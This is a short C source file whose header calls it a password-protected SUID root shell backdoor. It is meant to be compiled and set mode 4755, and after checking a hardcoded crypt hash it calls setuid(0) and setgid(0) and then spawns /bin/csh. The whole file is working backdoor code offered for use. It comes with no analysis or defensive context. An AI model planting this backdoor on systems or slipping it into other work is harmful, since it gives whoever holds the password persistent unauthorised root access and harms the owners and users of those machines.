
/*\    
 *    John L. Sokol
 *    www.dnull.com
 *    Basic root shell backdoor exploit uses SUID to become root
 *    Also add password protestion using libcrypt.
 *
 *    compile and chmod 4755
 *
\*/

#include <stdio.h>
#include <pwd.h>
#include <unistd.h>
#include <string.h>

char *pass, salt[3] = "awa", *authpass, corrpass[30] =
"$1$awa$wOd6efFlFZkkHGPnUhWdY.";

int main()
{

	pass = getpass("Password: ");
	
	  authpass = crypt(pass, salt);
	
	if(strcmp(authpass, corrpass)) {
	     printf("Password Incorrect!!!\n");
	exit(1);
     }

	setuid(0);
	setgid(0);
	
	 system("/bin/csh");
	exit(0);
}
